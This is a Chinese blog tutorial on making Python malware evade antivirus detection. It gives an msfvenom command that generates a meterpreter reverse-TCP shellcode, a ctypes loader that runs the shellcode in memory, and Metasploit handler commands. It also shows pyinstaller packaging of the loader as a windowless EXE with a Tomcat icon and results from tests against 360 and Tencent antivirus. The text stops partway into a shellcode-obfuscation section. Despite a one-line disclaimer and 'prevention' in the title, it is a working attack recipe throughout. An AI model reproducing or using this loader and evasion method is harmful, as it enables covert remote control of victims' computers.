Python免杀的技巧与防范

红队和蓝队在对抗中最热门的话题就是免杀,今天基于这个话题我们聊一下如何实现最新的免杀攻略,目前全网各种姿势的免杀绕过令人瞠目结舌,而当今很热门的编程语言Python,又是如何进行免杀操作的,今天我们一起来复现一下最新的免杀绕过手段。

本文仅供研究和学习,坚决反对一切危害网络安全的行为,同时为了保障网络安全,还希望各位兄弟们能够和我们一起为反网络犯罪助力。

 

一、通过Msfvenom生成基于Python的Shellcode

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.122.128 LPORT=5555 -f python -o 33.txt

image

桌面找到生成的TXT文件夹,打开替换关键词。

image

全部替换,下一步将下面的代码放到Shellcode中去。

import ctypes
#(kali生成payload存放位置)
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
 
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

测试一下能否正常上线。

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 192.168.5.81
set LPORT 5555
exploit -j

将Python代码复制到目标主机,执行文件,如下:成功获得回话。

image

EXE文件打包

很多目标主机并没有Python环境,所以我们需要将文件打包成EXE文件,执行如下命令

pyinstaller -Fw -i tomcat.ico  --key=Codekirin biao.py

释:-F 打包为单文件 -w 不显示窗口 -i ico图标文件 –key 加密字节码的密钥 等待打包完成。打包好后的可执行程序在dist目录中

image

点击程序后,成功上线。

免杀测试

360云查杀

image

腾讯电脑管家

image

混淆ShellCode

先用CS或者Msf生产Python shellcode,然后把Shellcode进行BS64位

 

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容